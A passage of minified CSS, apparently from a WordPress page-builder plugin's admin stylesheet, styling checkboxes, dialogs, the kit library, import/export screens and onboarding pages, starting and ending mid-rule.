--eps-box-input-color: #1f2124; padding: 0; border-radius: 0.1875rem; color: var(--eps-box-color); } .eps-box--padding { padding: var(--eps-box-padding); } .eps-box > input { width: 100%; outline: 0; border: 0; background-color: transparent; color: var(--eps-box-input-color); } .eps-theme-dark .eps-box { --eps-box-color: #D5D8DC; --eps-box-input-color: #D5D8DC; } :root { --checkbox-border-color: #9DA5AE; --checkbox-hover-border-color: #8f98a2; --checkbox-active-border-color: #abb2ba; --checkbox-background-color: #ffffff; --checkbox-checked-background-color: #515962; --checkbox-checked-hover-background-color: #454c54; --checkbox-checked-active-background-color: #5d6670; --checkbox-checked-disabled-background-color: #D5D8DC; --checkbox-indicator-color: #ffffff; --checkbox-error-background-color: #DC2626; } .eps-theme-dark { --checkbox-background-color: transparent; } .eps-checkbox { -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 0.1875rem; width: 15px; height: 15px; outline: 0; background-color: var(--checkbox-background-color); display: inline-flex; justify-content: center; align-items: center; border: 1px solid var(--checkbox-border-color); } .eps-checkbox::after { display: inline-block; margin-block-end: calc(0.25 / 2 * 100%); content: " "; width: 3px; height: 6px; transform: rotate(45deg); } .eps-checkbox:hover { --checkbox-border-color: var(--checkbox-hover-border-color); } .eps-checkbox:active { --checkbox-border-color: var(--checkbox-active-border-color); } .eps-checkbox:checked { --checkbox-background-color: var(--checkbox-checked-background-color); --checkbox-border-color: var(--checkbox-checked-background-color); } .eps-checkbox:checked::after { border: solid #ffffff; border-width: 0 1px 1px 0; } .eps-checkbox:checked:hover { --checkbox-background-color: var(--checkbox-checked-hover-background-color); --checkbox-border-color: var(--checkbox-checked-hover-background-color); } .eps-checkbox:checked:active { --checkbox-background-color: var(--checkbox-checked-active-background-color); --checkbox-border-color: var(--checkbox-checked-active-background-color); } .eps-checkbox:checked:disabled { --checkbox-background-color: var(--checkbox-checked-disabled-background-color); --checkbox-border-color: var(--checkbox-checked-disabled-background-color); } .eps-checkbox--rounded { border-radius: 50%; } .eps-checkbox--indeterminate { --checkbox-background-color: var(--checkbox-checked-background-color); --checkbox-border-color: var(--checkbox-checked-background-color); } .eps-checkbox--indeterminate::after { display: inline-block; margin-block-end: 0; content: " "; width: 7px; height: 0; transform: rotate(0deg); border-block-start: 1px solid #ffffff; } .eps-checkbox--error::before, .eps-checkbox--error::after, .eps-checkbox--error:checked::before, .eps-checkbox--error:checked::after { display: inline-block; margin-block-end: 0; content: " "; width: 7px; height: 0; border: solid #ffffff; border-width: 1px 0 0 0; position: absolute; } .eps-checkbox--error::before, .eps-checkbox--error:checked::before { transform: rotate(45deg); } .eps-checkbox--error::after, .eps-checkbox--error:checked::after { transform: rotate(-45deg); } .eps-checkbox--error, .eps-checkbox--error:hover, .eps-checkbox--error:checked, .eps-checkbox--error:checked:hover { --checkbox-background-color: var(--checkbox-error-background-color); --checkbox-border-color: var(--checkbox-error-background-color); } :root { --e-app-drag-drop-background-color: #ffffff; --e-app-drag-drop-outline-color: #E6E8EA; } .eps-theme-dark { --e-app-drag-drop-background-color: #2b2c31; --e-app-drag-drop-outline-color: #333438; } .e-app-drag-drop { background-color: var(--e-app-drag-drop-background-color); outline: 2px dashed var(--e-app-drag-drop-outline-color); outline-offset: -0.75rem; margin-block-end: 1.5rem; padding: 4.125rem; text-align: center; } .e-app-drag-drop--drag-over { outline-color: #2563EB; } .eps-dialog { border-radius: 3px; width: 375px; } .eps-dialog__close-button { position: absolute; top: -2.75rem; right: -2.75rem; margin-block-start: 0.625rem; margin-inline-end: 0.625rem; z-index: 1040; font-size: 1.25rem; color: #ffffff; } .eps-dialog__content { padding: 1.5rem 1.875rem 1rem; font-size: 0.75rem; } .eps-dialog__title, .eps-dialog__text { text-align: center; } .eps-dialog__buttons { display: flex; } .eps-dialog__button { flex: 1; border-block-start: 1px solid var(--hr-color); line-height: 2.75rem; text-align: center; justify-content: center; } .eps-dialog__button:last-child:not(:first-child) { border-inline-start: 1px solid var(--hr-color); } .e-app__popover { display: none; position: absolute; box-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); border-radius: 6px; padding: 20px; width: -moz-fit-content; width: fit-content; z-index: 999; background-color: var(--e-a-bg-default); } .e-app__popover:before { content: ""; position: absolute; top: -16px; right: var(--popover-arrow-offset-end, 22px); border: 8px solid transparent; border-block-end-color: #fff; } .eps-inline-link { color: var(--eps-inline-link-color); background-color: initial; border: 0; padding: 0; } .eps-inline-link--color-primary { --eps-inline-link-color: #0A875A; } .eps-inline-link--color-secondary { --eps-inline-link-color: #818A96; } .eps-inline-link--color-danger { --eps-inline-link-color: #DC2626; } .eps-inline-link--color-cta { --eps-inline-link-color: #93003f; } .eps-inline-link--color-link { --eps-inline-link-color: #515962; } .eps-inline-link--color-disabled { --eps-inline-link-color: #D5D8DC; } .eps-inline-link--underline-hover:hover, .eps-inline-link--underline-always, .eps-inline-link--underline-always:hover { text-decoration: underline; } .eps-inline-link--italic { font-style: italic; } .eps-inline-link, .eps-inline-link:focus { outline: none; } .eps-text-field { --eps-text-field-color: #515962; --eps-text-field-background-color: transparent; --eps-text-field-placeholder-color: #69727D; --eps-text-field-outlined-border-color: #9DA5AE; --eps-text-field-outlined-focus-border-color: #515962; width: 100%; color: var(--eps-text-field-color); background-color: var(--eps-text-field-background-color); border: 0; margin-block-end: 5px; outline: none; font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; } .eps-text-field--outlined { border-radius: 0.1875rem; border: 1px solid var(--eps-text-field-outlined-border-color); padding: 0.625rem; } .eps-text-field--outlined:focus { border-color: var(--eps-text-field-outlined-focus-border-color); } .eps-text-field::-moz-placeholder { color: var(--eps-text-field-placeholder-color); font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; } .eps-text-field::placeholder { color: var(--eps-text-field-placeholder-color); font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; } .eps-theme-dark .eps-text-field { --eps-text-field-color: #BABFC5; --eps-text-field-background-color: transparent; --eps-text-field-placeholder-color: #9DA5AE; --eps-text-field-outlined-border-color: #3f444b; --eps-text-field-outlined-focus-border-color: #9DA5AE; } .eps-theme-dark--outlined { border-color: var(--eps-text-field-outlined-border-color); } .eps-theme-dark--outlined:focus { border-color: var(--eps-text-field-outlined-focus-border-color); } .e-app-import-export-content-layout { display: flex; justify-content: center; height: 100%; } .e-app-import-export-content-layout__container { flex-basis: 1075px; } .e-app-export-complete__kit-content-title { margin: 2.75rem 0 0.625rem; } .e-app-export-kit-content { --e-app-export-kit-content-title-color: #3f444b; --e-app-export-kit-content-description-color: #515962; --e-app-export-kit-content-sm-notice-color: #BABFC5; } .e-app-export-kit-content__checkbox { flex-shrink: 0; margin-inline-end: 0.75rem; } .e-app-export-kit-content__title { color: var(--e-app-export-kit-content-title-color); } .e-app-export-kit-content__description { color: var(--e-app-export-kit-content-description-color); margin-inline-end: 1.25rem; } .e-app-export-kit-content__notice { margin-block-start: 1rem; } .e-app-export-kit-content__small-notice { font-style: italic; color: var(--e-app-export-kit-content-sm-notice-color); } .eps-theme-dark .e-app-export-kit-content { --e-app-export-kit-content-title-color: #D5D8DC; --e-app-export-kit-content-description-color: #BABFC5; --e-app-export-kit-content-sm-notice-color: #818A96; } .e-app-import-export-kit-data { --e-app-import-export-kit-data-site-area-color: #3f444b; --e-app-import-export-kit-data-included-color: #69727D; } .e-app-import-export-kit-data__site-area, .e-app-import-export-kit-data__included { margin-block-end: 0; } .e-app-import-export-kit-data__site-area { color: var(--e-app-import-export-kit-data-site-area-color); font-weight: bold; } .e-app-import-export-kit-data__included { color: var(--e-app-import-export-kit-data-included-color); } .eps-theme-dark .e-app-import-export-kit-data { --e-app-import-export-kit-data-site-area-color: #BABFC5; --e-app-import-export-kit-data-included-color: #9DA5AE; } .e-app-import-resolver { --e-app-import-resolver-panel-header-background-color: #ffffff; --e-app-import-resolver-panel-body-background-color: rgba(255, 255, 255, 0.5); --e-app-import-resolver-conflicts-asset-border-color: #818A96; --e-app-import-resolver-conflicts-asset-inactive-color: #69727D; padding-block-end: 1.25rem; } .e-app-import-resolver__notice { margin-block-end: 1.25rem; } .e-app-import-resolver__panel, .e-app-import-resolver__panel:hover { background-color: initial; } .e-app-import-resolver__panel-header { background-color: var(--e-app-import-resolver-panel-header-background-color); } .e-app-import-resolver__panel-body { background-color: var(--e-app-import-resolver-panel-body-background-color); } .e-app-import-resolver-conflicts__container { box-shadow: 0 2px 3px 1px var(--color-box-shadow-color); } .e-app-import-resolver-conflicts__checkbox { flex-shrink: 0; margin-inline-end: 0.75rem; } .e-app-import-resolver-conflicts__title { line-height: 1; } .e-app-import-resolver-conflicts__asset:not(:first-child) { border-inline-start: 2px solid var(--e-app-import-resolver-conflicts-asset-border-color); padding-inline-start: 1rem; margin-inline-start: 1rem; } .e-app-import-resolver-conflicts__asset:not(.active) { color: var(--e-app-import-resolver-conflicts-asset-inactive-color); } .e-app-import-resolver-conflicts__edit-template { margin-inline-start: 0.3125rem; } .eps-theme-dark .e-app-import-resolver { --e-app-import-resolver-panel-header-background-color: #69727D; --e-app-import-resolver-panel-body-background-color: rgba(0, 0, 0, 0.05); --e-app-import-resolver-conflicts-asset-border-color: #818A96; --e-app-import-resolver-conflicts-asset-inactive-color: #9DA5AE; } .eps-panel { --eps-panel-header-background-color: transparent; --eps-panel-body-background-color: transparent; } .eps-panel, .eps-panel:hover { background-color: initial; } .eps-panel__header { background-color: var(--eps-panel-header-background-color); border-radius: 0.1875rem; } .eps-panel__body { background-color: var(--eps-panel-body-background-color); border-radius: 0 0 0.1875rem 0.1875rem; } .eps-theme-dark .eps-panel { --eps-panel-header-background-color: transparent; --eps-panel-body-background-color: transparent; } .e-app-export-kit { padding-block-end: 1.25rem; } .e-app-export-kit-information { margin-block-start: 1.25rem; } .e-app-export-kit-information__field-header { margin-block-end: 0.625rem; } .e-app-export-kit-information__label { margin: 0; } .e-app-export-kit-information__info-icon { margin-inline-start: 0.625rem; } .e-app-export-kit-info-modal__icon { padding-inline-start: 0.625rem; } .e-app-export-kit-info-modal__heading { margin-block-end: 1.25rem; } .e-app-import-export-info-modal__section:not(:first-child) { margin-block-start: 1.875rem; } .e-app-import-export-info-modal__heading { margin-block-end: 1.25rem; } :root { --eps-badge-background-color: #ffffff; } .eps-theme-dark { --eps-badge-background-color: #515962; } .eps-badge { display: inline-block; background: var(--eps-badge-background-color); padding: 0 0.5rem; line-height: 1.8; box-shadow: 0 3px 6px var(--color-box-shadow-color); border-radius: 4px; font-size: 0.75rem; } .eps-badge--sm { font-size: 0.625rem; border-radius: 3px; padding: 0 0.3125rem; line-height: 1.5; } .eps-collapse__title { cursor: pointer; padding: 0.3125rem 0; display: flex; align-items: center; justify-content: space-between; width: 100%; background: transparent; border: none; color: inherit; } .eps-collapse__title:focus { outline: none; } .eps-collapse__icon { transition: all 150ms; transform: rotate(0deg); } .eps-collapse__content { margin-block-start: 0.625rem; display: none; } .eps-collapse[data-open] .eps-collapse__content { display: block; } .eps-collapse[data-open] .eps-collapse__icon { transform: rotate(90deg); } .e-kit-library-promotion { --e-kit-library-promotion-color: tints(600); } .eps-theme-dark .e-kit-library-promotion { --e-kit-library-promotion-color: dark-tints(400); } .e-kit-library-promotion { width: 100%; text-align: center; margin-block-start: 1.875rem; color: var(--e-kit-library-promotion-color); } .e-kit-library__error-screen { margin-block-start: 2.75rem; } .e-kit-library__error-screen-title { margin-block-start: 2.75rem; margin-block-end: 0; } .e-kit-library__error-screen-description { margin-block-start: 1.5rem; color: #69727D; text-align: center; max-width: 520px; } .e-kit-library__kit-favorite-actions { padding: 0.3125rem; transition: 0.3s all; border-radius: 4px; } .e-kit-library__kit-favorite-actions--active { color: #DC2626; } .e-kit-library__kit-favorite-actions--loading { opacity: 50%; cursor: default; } .e-kit-library__kit-favorite-actions:hover { background-color: rgba(220, 38, 38, 0.1); } .e-kit-library__filter-indication { margin-block-start: 1.5rem; display: flex; align-items: center; } .e-kit-library__filter-indication-text { margin-block-end: 0; display: flex; align-items: center; } .e-kit-library__filter-indication-badge { margin-inline-start: 0.3125rem; display: flex; align-items: center; } .e-kit-library__filter-indication-badge-remove { margin-inline-start: 0.3125rem; font-size: 0.875rem; } .e-kit-library__filter-indication-button { margin-inline-start: 1.5rem; } #eps-app-header-btn-apply, #eps-app-header-btn-promotion, #eps-app-header-btn-connect { margin-inline-start: 0.625rem; margin-inline-end: 0.625rem; } .e-kit-library__apply-button { display: flex; align-items: center; justify-content: center; gap: 0.3125rem; } .e-kit-library__kit-item { --e-kit-library-kit-item-overlay-promotion-button-background-color: #D5D8DC; } .eps-theme-dark .e-kit-library__kit-item { --e-kit-library-kit-item-overlay-promotion-button-background-color: #515962; } .e-kit-library__kit-item-overlay { height: 100%; } .e-kit-library__kit-item-overlay > *:first-child { flex: 1; } .e-kit-library__kit-item-overlay-overview-button { display: flex; flex-direction: column; align-items: center; justify-content: center; color: white; height: 100%; width: 100%; } .e-kit-library__kit-item-overlay-overview-button > i { font-size: 2rem; margin-block-end: 5px; } .e-kit-library__kit-item-overlay-overview-button > span { font-size: 0.9rem; } .e-kit-library__kit-item-overlay-promotion-button { display: flex; width: 100%; background: white; align-items: center; justify-content: center; padding: 10px; font-size: 13px; color: #93003f; background: var(--e-kit-library-kit-item-overlay-promotion-button-background-color); } .e-kit-library__kit-item-overlay-promotion-button > * { margin: 0 3px; } .e-kit-library__kit-item-subscription-plan-badge { position: absolute; top: 0; right: 0; margin: 0.3125rem; background-color: var(--e-a-color-brand); color: #ffffff; text-transform: uppercase; } :root { --e-kit-library-header-back-border: 1px solid var(--e-a-border-color); --e-kit-library-header-back-color: #69727D; } .eps-theme-dark { --e-kit-library-header-back-border: 1px solid #818A96; --e-kit-library-header-back-color: #BABFC5; } .e-kit-library__header-back { color: var(--e-kit-library-header-back-color); padding-inline-end: 1.25rem; padding-inline-start: 0.3125rem; display: inline-flex; justify-content: center; align-items: center; height: 100%; border-inline-end: var(--e-kit-library-header-back-border); } .e-kit-library__header-back-container { flex: 1; height: 100%; } .e-kit-library__header-back .eps-icon { transform: rotate(0deg); } .e-kit-library__page-loader { width: 100%; height: 100%; display: grid; place-items: center; font-size: 1.85rem; color: #69727D; } .eps-search-input { --eps-search-input-background-color: #D5D8DC; --eps-search-input-background-color-focus: #ffffff; --eps-search-input-color: #3f444b; --eps-search-input-placeholder-color: #69727D; } .eps-theme-dark .eps-search-input { --eps-search-input-background-color: #515962; --eps-search-input-background-color-focus: #69727D; --eps-search-input-color: #BABFC5; --eps-search-input-placeholder-color: #BABFC5; } .eps-search-input { width: 100%; font-size: 0.9375rem; padding: 0.625rem 2.75rem; border: none; background: var(--eps-search-input-background-color); outline: none; color: var(--eps-search-input-color); line-height: 1; height: 2.75rem; } .eps-search-input--sm { font-size: 0.8125rem; padding: 0.5rem 1.875rem; } .eps-search-input:focus { background: var(--eps-search-input-background-color-focus); } .eps-search-input::-moz-placeholder { color: var(--eps-search-input-placeholder-color); font-style: italic; } .eps-search-input::placeholder { color: var(--eps-search-input-placeholder-color); font-style: italic; } .eps-search-input__container { position: relative; } .eps-search-input__icon { font-size: 1.25rem; padding: 0.625rem; color: #69727D; position: absolute; top: 0; left: 0; height: 100%; display: flex; align-items: center; justify-content: center; } .eps-search-input__icon--sm { font-size: 0.75rem; } .eps-search-input__clear-icon { font-size: 0.875rem; padding: 0.625rem; color: #69727D; position: absolute; top: 0; right: 0; height: 100%; display: flex; align-items: center; justify-content: center; } .eps-search-input__clear-icon--sm { font-size: 0.6875rem; } :root { --eps-sort-select-select-background-color: #D5D8DC; --eps-sort-select-select-color: #3f444b; --eps-sort-select-button-background-color: #D5D8DC; --eps-sort-select-button-border: 1px solid var(--e-a-border-color); } .eps-theme-dark { --eps-sort-select-select-background-color: #515962; --eps-sort-select-select-color: #BABFC5; --eps-sort-select-button-background-color: #515962; --eps-sort-select-button-border: 1px solid #1f2124; } .eps-sort-select { width: 100%; font-size: 0.9375rem; display: flex; } .eps-sort-select__select-wrapper { flex: 1; position: relative; } .eps-sort-select__select-wrapper::after { content: "\e8ad"; font-family: eicons; position: absolute; right: 0.625rem; top: 0; bottom: 0; color: #69727D; display: flex; align-items: center; justify-content: center; pointer-events: none; } .eps-sort-select__select { width: 100%; padding: 0.625rem 0.625rem; border: none; background: var(--eps-sort-select-select-background-color); outline: none; color: var(--eps-sort-select-select-color); line-height: 1; cursor: pointer; height: 2.75rem; -moz-appearance: none; appearance: none; -webkit-appearance: none; border-radius: 0; } .eps-sort-select__button { padding: 0.75rem 0.75rem; background: var(--eps-sort-select-button-background-color); border-inline-start: var(--eps-sort-select-button-border); line-height: 1; color: #69727D; } .e-kit-library__tags-filter { --e-kit-library-tags-filter-list-search-background-color: #ffffff; } .eps-theme-dark .e-kit-library__tags-filter { --e-kit-library-tags-filter-list-search-background-color: #515962; } .e-kit-library__tags-filter { margin-block-start: 2.75rem; } .e-kit-library__tags-filter-list { margin-block-end: 2.75rem; } .e-kit-library__tags-filter-list .eps-collapse__title { padding-inline-end: 1.875rem; padding-inline-start: 1.875rem; text-transform: uppercase; } .e-kit-library__tags-filter-list .eps-collapse__content { margin: 0.3125rem 1.875rem; } .e-kit-library__tags-filter-list-container { max-height: 250px; overflow: auto; } .e-kit-library__tags-filter-list-search { margin-block-end: 0.625rem; } .e-kit-library__tags-filter-list-search .eps-search-input { background: var(--e-kit-library-tags-filter-list-search-background-color); } .e-kit-library__tags-filter-list-item { padding: 0.625rem 0; display: flex; align-items: center; font-weight: 500; } .e-kit-library__tags-filter-list-item input { margin-inline-end: 0.3125rem; } .e-kit-library #eps-app-header-btn-refetch { padding: 0; } .e-kit-library-header-info-modal-container { margin-block-end: 2.75rem; } .e-kit-library__tooltip { padding: 5px 12px; color: #ffffff; background-color: #26292C; font-size: 10px; } .e-kit-library__tooltip:before { border-block-end-color: #26292C; } .e-kit-library__index-layout-container { flex-grow: 1; overflow-y: auto; display: flex; flex-direction: column; } .e-kit-library__index-layout-heading { padding: 1.875rem 2.75rem; position: sticky; top: -1px; width: 100%; z-index: 2; background-color: var(--app-background-color); gap: 1.5rem; } .e-kit-library__index-layout-heading-search, .e-kit-library__index-layout-heading-sort { min-width: 265px; } .e-kit-library__index-layout-heading-search { flex: 1; } .e-kit-library__index-layout-main { padding-block-start: 0; padding-block-end: 1.5rem; overflow-y: hidden; height: auto; flex: 1 0 auto; display: flex; flex-direction: column; justify-content: space-between; } .e-kit-library__tags-filter { --e-kit-library-item-sidebar-header-title-color: #515962; --e-kit-library-item-sidebar-description-color: #515962; --e-kit-library-item-information-text-color: #515962; } .eps-theme-dark .e-kit-library__tags-filter { --e-kit-library-item-sidebar-header-title-color: #BABFC5; --e-kit-library-item-sidebar-description-color: #BABFC5; --e-kit-library-item-information-text-color: #BABFC5; } .e-kit-library__item-sidebar { padding: 1.5rem 1.875rem; } .e-kit-library__item-sidebar-header { display: flex; align-items: center; justify-content: space-between; } .e-kit-library__item-sidebar-header-title { color: var(--e-kit-library-item-sidebar-header-title-color); margin-block-end: 0; } .e-kit-library__item-sidebar-thumbnail { margin-block-start: 1.5rem; box-shadow: 0 4px 10px var(--color-box-shadow-color); } .e-kit-library__item-sidebar-description { margin-block-start: 1.5rem; color: var(--e-kit-library-item-sidebar-description-color); } .e-kit-library__item-sidebar-collapse-tags { margin-block-start: 2.75rem; } .e-kit-library__item-sidebar-collapse-info { margin-block-start: 1.875rem; } .e-kit-library__item-sidebar-tags-container { gap: 0.625rem; } .e-kit-library__item-information-text { font-size: 0.8125rem; color: var(--e-kit-library-item-information-text-color); margin-block-end: 0.3125rem; } .e-kit-library { --e-kit-library-content-overview-group-title-color: #515962; } .eps-theme-dark .e-kit-library { --e-kit-library-content-overview-group-title-color: #BABFC5; } .e-kit-library__content-overview-group-item { margin-block-end: 2.75rem; } .e-kit-library__content-overview-group-title { margin-block-end: 1.875rem; color: var(--e-kit-library-content-overview-group-title-color); } .e-kit-library__preview-responsive-controls { width: auto; } .e-kit-library__preview-responsive-controls-item { margin: 0 0.3125rem; color: #69727D; padding: 0.3125rem; } .e-kit-library__preview-responsive-controls-item:hover { background: rgba(37, 99, 235, 0.1); border-radius: 3px; transition: all 0.3s; } .e-kit-library__preview-responsive-controls-item--active { color: #2563EB; } .e-kit-library__preview-loader { position: absolute; top: 0; left: 0; z-index: 0; } .e-kit-library__preview-iframe { border: none; transition: all 0.3s; box-shadow: 0 4px 10px var(--color-box-shadow-color); } .e-kit-library__preview-iframe-container { overflow-y: auto; position: relative; z-index: 1; } .e-app-collapse { --e-app-collapse-icon-color: #515962; } .e-app-collapse-toggle { position: relative; } .e-app-collapse-toggle--active { cursor: pointer; } .e-app-collapse-toggle__icon { color: var(--e-app-collapse-icon-color); display: flex; align-items: center; justify-content: center; font-size: 0.875rem; position: absolute; top: 50%; right: var(--e-app-collapse-toggle-icon-spacing); transform: translateY(-50%); } .e-app-collapse-toggle__icon:before { transition: all 0.2s linear; } .e-app-collapse-content { display: none; } .e-app-collapse--opened .e-app-collapse-toggle__icon:before { transform: rotate(-180deg); } .e-app-collapse--opened .e-app-collapse-content { display: block; } [dir=rtl] .e-app-collapse-toggle__icon { right: initial; left: var(--e-app-collapse-toggle-icon-spacing); } .eps-theme-dark .e-app-collapse { --e-app-collapse-icon-color: #BABFC5; } .e-app-import-plugins { --e-app-import-plugins-selection-section-heading-color: #515962; padding-block-end: 1.5rem; } .e-app-import-plugins__section { margin-block-start: 1.875rem; } .e-app-import-plugins__section-heading { color: var(--e-app-import-plugins-selection-section-heading-color); margin-block-end: 1rem; } .e-app-import-plugins__versions-notice { margin-block-end: 0.75rem; } .eps-theme-dark .e-app-import-plugins { --e-app-import-plugins-selection-section-heading-color: #BABFC5; } .eps-table { --eps-table-body-color: #3f444b; border-spacing: 0 2px; table-layout: fixed; width: 100%; border: 1px solid var(--e-a-border-color); border-radius: 0.1875rem; } .eps-table__checkboxes-column { width: 1.875rem; } .eps-table__checkbox { display: flex; flex-shrink: 0; } .eps-table__cell { padding: 1rem; } .eps-table__head .eps-table__cell { text-align: start; } .eps-table__row { border-block-end: 1px solid var(--e-a-border-color); } .eps-table__row:last-child { border-block-end: none; } .eps-table__body .eps-table__cell:first-child { border-radius: 0.1875rem 0 0 0.1875rem; } .eps-table__body .eps-table__cell:last-child { border-radius: 0 0.1875rem 0.1875rem 0; } .eps-table--selection .eps-table__cell:first-child { padding-inline-end: 0; } .eps-theme-dark .eps-table { --eps-table-body-color: #BABFC5; } [dir=rtl] .eps-table__body [dir=rtl] .eps-table__cell:first-child { border-radius: 0 0.1875rem 0.1875rem 0; } [dir=rtl] .eps-table__body [dir=rtl] .eps-table__cell:last-child { border-radius: 0.1875rem 0 0 0.1875rem; } .e-app-import-plugins-pro-banner { --e-app-import-plugins-pro-banner-heading-color: #3f444b; --e-app-import-plugins-pro-banner-description-color: #515962; margin-block-end: 1.875rem; } .e-app-import-plugins-pro-banner__heading { color: var(--e-app-import-plugins-pro-banner-heading-color); margin-block-end: 0.625rem; } .e-app-import-plugins-pro-banner__description { color: var(--e-app-import-plugins-pro-banner-description-color); margin-block-end: 0; } .eps-theme-dark .e-app-import-plugins-pro-banner { --e-app-import-plugins-pro-banner-heading-color: #9DA5AE; --e-app-import-plugins-pro-banner-description-color: #BABFC5; } .e-app-export-plugins { padding-block-end: 1.25rem; } .e-app-import-content { padding-block-end: 1.25rem; } .e-app-import-content__plugins-notice { margin-block-end: 1.25rem; } .e-app-import-plugins-activation__installing-plugins { padding: 0.625rem 0; } .e-app-import-plugins-activation__plugin-name { margin-inline-start: 0.5rem; } .e-app-import-plugins-activation__plugin-status-item { margin-block-end: 0.75rem; } .e-app-import-export-plugins-table__cell-content { margin-block-end: 0; text-transform: capitalize; } .e-app-import-export-loader { --e-app-import-export-loader-color: #818A96; color: var(--e-app-import-export-loader-color); font-size: 50px; } .e-app-import-export-loader.eicon-loading { font-size: 1.85rem; } .e-app-import-export-loader--absolute-center { position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); } .eps-theme-dark .e-app-import-export-loader { --e-app-import-export-loader-color: #818A96; } .e-app-import-export-message-banner { --e-app-import-export-message-banner-heading-color: #3f444b; --e-app-import-export-message-banner-description-color: #515962; margin-block-end: 1.875rem; } .e-app-import-export-message-banner__heading { color: var(--e-app-import-export-message-banner-heading-color); margin-block-end: 0.625rem; } .e-app-import-export-message-banner__description { color: var(--e-app-import-export-message-banner-description-color); margin-block-end: 0; } .eps-theme-dark .e-app-import-export-message-banner { --e-app-import-export-message-banner-heading-color: #9DA5AE; --e-app-import-export-message-banner-description-color: #BABFC5; } .e-app-import-connect-pro-notice { margin-block-end: 1.25rem; } .e-app-import-failed-plugins-notice { margin-block-end: 1.25rem; } .e-onboarding { font-family: "DM Sans", "Roboto", sans-serif; color-scheme: light; } .e-onboarding .eps-app__main { justify-content: center; overflow-y: auto; } .e-onboarding__content { max-width: 1135px; padding: 2.75rem; margin: initial; overflow-y: initial; } .e-onboarding__checkbox-label { display: flex; line-height: 18px; margin-block-end: 27px; } .e-onboarding__checkbox-input { margin-inline-end: 14px; width: 16px; height: 16px; border-color: #69727D; border-radius: 2px; } .e-onboarding__checkbox-input:checked { background-color: #525861; } .e-onboarding__checkbox-input:checked::after { margin-block-end: 15%; width: 6px; height: 9px; border-width: 0 2px 2px 0; } .e-onboarding__feature-list { margin-block-end: 40px; } .e-onboarding__text-input { font-size: 14px; width: 325px; padding: 12px 16px; color: #69727D; border: 1px solid #9EA5AD; } .e-onboarding__text-input:focus-visible { outline: initial; border: 1px solid #3A3F45; } .e-onboarding__text-input::-moz-placeholder { color: #C2C7CC; } .e-onboarding__text-input::placeholder { color: #C2C7CC; } .e-onboarding__footnote { margin-block-start: 24px; width: 325px; text-align: center; } .e-onboarding__footnote a { text-decoration: underline; color: #3A3F45; } #e-app ~ #__wp-uploader-id-2 .media-modal { max-width: 1024px; max-height: 768px; margin: auto; } .e-onboarding__page-content { margin-block-end: 70px; } .e-onboarding__page-content-start { max-width: 675px; text-align: start; flex-basis: 555px; align-self: start; } .e-onboarding__page-content-end { min-width: 440px; max-width: 540px; } .e-onboarding__page-content-end img { width: 100%; } .e-onboarding__page-content-section-title { font-family: "DM Serif Display", serif; font-size: 36px; font-weight: 700; color: #0C0D0E; } .e-onboarding__page-content-section-text { font-size: 18px; color: #3A3F45; } .e-onboarding__header-logo .eps-app__logo { background-color: #0C0D0E; color: #ffffff; width: 1.3rem; height: 1.3rem; line-height: 1.3rem; font-size: 0.48rem; } .e-onboarding__header-logo .eps-app__logo:not(:last-child) { margin-inline-end: 7px; } .e-onboarding__header-logo img { width: 104px; } .e-onboarding__header .eps-app__header-btn { display: flex; align-items: center; font-size: 13px; } .e-onboarding__header .eps-app__header-btn .eps-icon:not(:last-child) { margin-inline-end: 7px; } .e-onboarding__header .eps-button { color: #0C0D0E; } .e-onboarding__header .eps-button__go-pro-btn { background-color: #93003f; color: #ffffff; padding: 4px 8px; border-radius: 4px; font-weight: 700; font-size: 12px; transition: 0.5s; } .e-onboarding__header .eps-button__go-pro-btn:hover { background: #c60055; } .e-onboarding__go-pro { width: 288px; font-size: 12px; background-color: #ffffff; } .e-onboarding__go-pro-title { font-size: 18px; font-weight: 700; color: #93003f; } .e-onboarding__go-pro-cta { display: inline-block; color: #93003f; padding: 9px; border: 1px solid #93003f; } .e-onboarding__go-pro-cta.e-onboarding__button { font-size: 14px; } .e-onboarding__go-pro-paragraph:not(:last-child) { margin-block-end: 20px; } .e-onboarding__go-pro-already-have { text-decoration: underline; } .e-onboarding__progress-bar { display: flex; justify-content: center; margin-block-end: 125px; } .e-onboarding__progress-bar-item { display: flex; align-items: center; color: #69727D; font-size: 0.75rem; } .e-onboarding__progress-bar-item-icon { display: inline-block; font-family: "DM Serif Display", serif; text-align: center; width: 1.1rem; height: 1.1rem; line-height: 1rem; font-size: 0.75rem; font-weight: bold; border-radius: 50%; border: 1px solid #69727D; margin-inline-end: 8px; flex-shrink: 0; } .e-onboarding__progress-bar-item:not(:last-child) { margin-inline-end: 22px; } .e-onboarding__progress-bar-item:not(:last-child):after { font-family: "eicons"; margin-inline-start: 22px; content: "\e89e"; } .e-onboarding__progress-bar-item--active { color: #D004D4; } .e-onboarding__progress-bar-item--active .e-onboarding__progress-bar-item-icon, .e-onboarding__progress-bar-item--completed .e-onboarding__progress-bar-item-icon { color: #ffffff; border-color: #D004D4; background-color: #D004D4; } .e-onboarding__progress-bar-item--skipped, .e-onboarding__progress-bar-item--completed { cursor: pointer; } .e-onboarding__progress-bar-item--skipped .e-onboarding__progress-bar-item-icon { color: #ffffff; background-color: #69727D; } .e-onboarding__button { font-size: 18px; cursor: pointer; transition: var(--e-a-transition-hover); } .e-onboarding__button-action { color: var(--e-a-btn-color); background-color: var(--e-a-btn-bg-primary); min-width: 325px; padding: 15px 30px; text-align: center; } .e-onboarding__button-action:hover { background-color: var(--e-a-btn-bg-primary-hover); } .e-onboarding__button-skip { padding: 8px 16px; color: #515962; } .e-onboarding__button-skip:hover { background-color: #F9FAFA; } .e-onboarding__button--disabled { pointer-events: none; background-color: #D5D8DC; color: #9EA5AD; } .e-onboarding__button--disabled:hover { cursor: progress; } .e-onboarding__button--processing { pointer-events: none; filter: brightness(90%); } .e-onboarding__card { border: 1px solid #3A3F45; border-radius: 8px; padding: 40px 40px; cursor: pointer; flex-grow: 1; display: flex; flex-direction: column; align-items: center; } .e-onboarding__card-image, .e-onboarding__card-text { width: 345px; } .e-onboarding__card-image { margin-block-end: 44px; } .e-onboarding__card-text { font-size: 20px; font-weight: 700; text-align: center; color: 